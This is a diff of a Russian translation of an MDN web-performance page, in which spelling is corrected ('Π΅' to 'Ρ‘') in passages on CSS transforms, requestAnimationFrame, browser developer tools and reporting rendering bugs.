-<p>К Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, трансформация Π΄Π°Ρ‘Ρ‚ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π² ΠΈΠ½ΠΎΠΌ случаС Ρƒ вас Π½Π΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹. Π’Ρ‹ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ элСмСнтом Π² Π΄Π²ΡƒΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Ρ€Π°Π½ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² 3D, ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ Π½Π°ΠΊΠ»ΠΎΠ½ (ΡΠΊΠ°ΡˆΠΈΠ²Π°Ρ‚ΡŒ, skew), ΠΏΠΎΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ Π΄Ρ€. Пол ΠΠΉΡ€ΠΈΡˆ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π» ΡΡ‚Π°Ρ‚ΡŒΡŽ <a href="https://paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/">in-depth analysis of the benefits of <code>translate()</code></a>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π» Ρ€Π°Π±ΠΎΡ‚Ρƒ translate с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ translate/transform Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ инструмСнт ΠΈ Π²ΠΎΠ·Π»Π°Π³Π°Π΅Ρ‚Π΅ ΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π·Π° Π΅Π³ΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Π’Ρ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты. Если Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <code>top</code> ΠΈ <code>left</code>, Π²Π°ΠΌ придСтся Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ особСнности Ρ‚Π°ΠΊΠΎΠ³ΠΎ позиционирования. И послСдний бонус - с Transform / Translate Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Π±Ρ‹ с элСмСнтом <code>canvas</code>.</p>
+<p>К Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, трансформация Π΄Π°Ρ‘Ρ‚ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π² ΠΈΠ½ΠΎΠΌ случаС Ρƒ вас Π½Π΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹. Π’Ρ‹ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ элСмСнтом Π² Π΄Π²ΡƒΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Ρ€Π°Π½ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² 3D, ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ Π½Π°ΠΊΠ»ΠΎΠ½ (ΡΠΊΠ°ΡˆΠΈΠ²Π°Ρ‚ΡŒ, skew), ΠΏΠΎΠ²ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ Π΄Ρ€. Пол ΠΠΉΡ€ΠΈΡˆ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π» ΡΡ‚Π°Ρ‚ΡŒΡŽ <a href="https://paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/">in-depth analysis of the benefits of <code>translate()</code></a>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π» Ρ€Π°Π±ΠΎΡ‚Ρƒ translate с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ translate/transform Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ инструмСнт ΠΈ Π²ΠΎΠ·Π»Π°Π³Π°Π΅Ρ‚Π΅ ΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π·Π° Π΅Π³ΠΎ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡŽ Π½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Π’Ρ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты. Если Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ <code>top</code> ΠΈ <code>left</code>, Π²Π°ΠΌ придётся Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ особСнности Ρ‚Π°ΠΊΠΎΠ³ΠΎ позиционирования. И послСдний бонус - с Transform / Translate Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Π±Ρ‹ с элСмСнтом <code>canvas</code>.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях (Π² зависимости ΠΎΡ‚ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹) Π²Π°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ½Π°Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство <code>translateZ(0.1)</code>, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° пСрСнСсти вычислСниС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΉ Π½Π° графичСский Π°Π΄Π°ΠΏΡ‚Π΅Ρ€. Как Π±Ρ‹Π»ΠΎ упомянуто Π²Ρ‹ΡˆΠ΅, это ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, Π½ΠΎ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ памяти. КакоС ΠΈΠ· Π·ΠΎΠ» - мСньшСС - Ρ€Π΅ΡˆΠ°Ρ‚ΡŒ Π²Π°ΠΌ. ΠŸΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΎΠ±Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° ΠΈ выяснитС, Ρ‡Ρ‚ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для вашСго прилоТСния.</p>
@@ -184,9 +184,9 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<h4 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_requestAnimationFrame_вмСсто_setInterval">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>requestAnimationFrame()</code> вмСсто <code>setInterval()</code></h4>
-<p>Π’Ρ‹Π·ΠΎΠ²Ρ‹ {{domxref("window.setInterval()")}} Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ ΠΊΠΎΠ΄ с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΠΎΠΉ частоты ΠΊΠ°Π΄Ρ€ΠΎΠ². Однако, эта оТидаСмая частота ΠΈ фактичСская Π½Π΅ всСгда ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚. SetInternal Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ "нарисуй Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹", Π΄Π°ΠΆΠ΅ Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ занимаСтся сСйчас отрисовкой - Ρ‚Π°ΠΊΠΎΠ΅ случаСтся, ΠΊΠΎΠ³Π΄Π° графичСский Π°Π΄Π°ΠΏΡ‚Π΅Ρ€ Π΅Ρ‰Ρ‘ Π½Π΅ дошСл Π΄ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ†ΠΈΠΊΠ»Π° обновлСния экрана. Π’Π°ΠΊΠΎΠ΅ нСсовпадСниС Ρ‚Π°ΠΉΠΌΠΈΠ½Π³ΠΎΠ² - чрСзмСрная растрата процСссорного Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ Π΄Π°ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ сниТСнию срока слуТбы аккумуляторов ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ устройств.</p>
+<p>Π’Ρ‹Π·ΠΎΠ²Ρ‹ {{domxref("window.setInterval()")}} Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ ΠΊΠΎΠ΄ с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΠΎΠΉ частоты ΠΊΠ°Π΄Ρ€ΠΎΠ². Однако, эта оТидаСмая частота ΠΈ фактичСская Π½Π΅ всСгда ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚. SetInternal Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ "нарисуй Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹", Π΄Π°ΠΆΠ΅ Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ занимаСтся сСйчас отрисовкой - Ρ‚Π°ΠΊΠΎΠ΅ случаСтся, ΠΊΠΎΠ³Π΄Π° графичСский Π°Π΄Π°ΠΏΡ‚Π΅Ρ€ Π΅Ρ‰Ρ‘ Π½Π΅ Π΄ΠΎΡˆΡ‘Π» Π΄ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ†ΠΈΠΊΠ»Π° обновлСния экрана. Π’Π°ΠΊΠΎΠ΅ нСсовпадСниС Ρ‚Π°ΠΉΠΌΠΈΠ½Π³ΠΎΠ² - чрСзмСрная растрата процСссорного Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈ Π΄Π°ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ сниТСнию срока слуТбы аккумуляторов ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ устройств.</p>
-<p>ВмСсто этого, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("window.requestAnimationFrame()")}}. Π­Ρ‚Π° функция ΠΆΠ΄Π΅Ρ‚, ΠΏΠΎΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ‚ΠΎΠ² ΠΊ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠ°Π΄Ρ€Π° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΡΠ°ΠΆΠ΄Π°Ρ‚ΡŒ своими запросами Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ устройства, Ссли устройство Π½Π΅ занимаСтся Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ΠΎΠΌ. Π”Ρ€ΡƒΠ³ΠΎΠ΅ прСимущСство этого API Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΈΠ΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ, ΠΏΠΎΠΊΠ° вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π²ΠΈΠ΄Π½ΠΎ Π½Π° экранС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли ΠΎΠ½ΠΎ выполняСтся Π² Ρ„ΠΎΠ½Π΅ ΠΈΠ»ΠΈ занимаСтся Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ опСрациями). Π­Ρ‚ΠΎ сохранит Π±Π°Ρ‚Π°Ρ€Π΅ΡŽ ΠΈ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ вас ΠΎΡ‚ проклятий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΊΡ€ΠΈΠΊΠΈΠ²Π°Ρ‚ΡŒ Π² Π½Π΅Π±ΠΎ.</p>
+<p>ВмСсто этого, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{domxref("window.requestAnimationFrame()")}}. Π­Ρ‚Π° функция ΠΆΠ΄Ρ‘Ρ‚, ΠΏΠΎΠΊΠ° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ‚ΠΎΠ² ΠΊ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠ°Π΄Ρ€Π° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΡΠ°ΠΆΠ΄Π°Ρ‚ΡŒ своими запросами Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ устройства, Ссли устройство Π½Π΅ занимаСтся Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ΠΎΠΌ. Π”Ρ€ΡƒΠ³ΠΎΠ΅ прСимущСство этого API Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΈΠ΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ, ΠΏΠΎΠΊΠ° вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π²ΠΈΠ΄Π½ΠΎ Π½Π° экранС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ссли ΠΎΠ½ΠΎ выполняСтся Π² Ρ„ΠΎΠ½Π΅ ΠΈΠ»ΠΈ занимаСтся Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ опСрациями). Π­Ρ‚ΠΎ сохранит Π±Π°Ρ‚Π°Ρ€Π΅ΡŽ ΠΈ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ вас ΠΎΡ‚ проклятий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΊΡ€ΠΈΠΊΠΈΠ²Π°Ρ‚ΡŒ Π² Π½Π΅Π±ΠΎ.</p>
<h4 id="Π”Π΅Π»Π°ΠΉΡ‚Π΅_события_ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½Ρ‹ΠΌΠΈ">Π”Π΅Π»Π°ΠΉΡ‚Π΅ события ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½Ρ‹ΠΌΠΈ</h4>
@@ -200,7 +200,7 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<h2 id="ΠžΠ±Ρ‰ΠΈΠΉ_Π°Π½Π°Π»ΠΈΠ·_ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ">ΠžΠ±Ρ‰ΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</h2>
-<p>Firefox, Chrome ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ встроСнныС инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π΄ΠΈΠ°Π³Π½ΠΎΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³. Π’ частности, <a href="/en-US/docs/Tools/Network_Monitor">Firefox's Network Monitor</a> ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ врСмя, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ΅Π» ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ сСтСвой запрос, насколько большим ΠΎΠ½ Π±Ρ‹Π» ΠΈ ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ обрабатывался.</p>
+<p>Firefox, Chrome ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ встроСнныС инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π΄ΠΈΠ°Π³Π½ΠΎΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³. Π’ частности, <a href="/en-US/docs/Tools/Network_Monitor">Firefox's Network Monitor</a> ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ врСмя, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΡ‘Π» ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ сСтСвой запрос, насколько большим ΠΎΠ½ Π±Ρ‹Π» ΠΈ ΠΊΠ°ΠΊ Π΄ΠΎΠ»Π³ΠΎ обрабатывался.</p>
<p><img alt="The Firefox network monitor showing get requests, multiple files, and different times taken to load each resource on a graph." src="https://mdn.mozillademos.org/files/6845/network-monitor.jpg" style="display: block; height: 713px; margin: 0px auto; width: 700px;"></p>
@@ -222,4 +222,4 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<p>Если инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π² Firefox ΠΈΠ»ΠΈ Chrome Π½Π΅ ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ Π²Π°ΠΌ Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ ΠΈΠ»ΠΈ выглядит Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ сами ΠΏΠΎ сСбС ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ тСстовоС ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ максимально ΠΈΠ·ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ часто ΠΏΠΎΠΌΠΎΠ³Π°Ρ‚ΡŒ Π΄ΠΈΠ°Π³Π½ΠΎΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.</p>
-<p>Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ воспроизвСсти ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, просто сохраняя ΠΈ загруТая ΡΡ‚Π°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ копию HTML-страницы (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ изобраТСния/стили/скрипты). Если Ρ‚Π°ΠΊ - ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ ΠΈΠ· HTML Ρ„Π°ΠΉΠ»Π° всю Π»ΠΈΡ‡Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ Π·Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ (ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ ΠΎΡ‚Ρ‡Π΅Ρ‚ Π² <a href="https://bugzilla.mozilla.org/">Bugzilla</a> ΠΈΠ»ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сохранитС Ρ„Π°ΠΉΠ» Π½Π° своСм сСрвСрС ΠΈ ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚Π΅ΡΡŒ ссылкой). Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ понадобится ΠΏΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒΡΡ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ собрали с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнтов 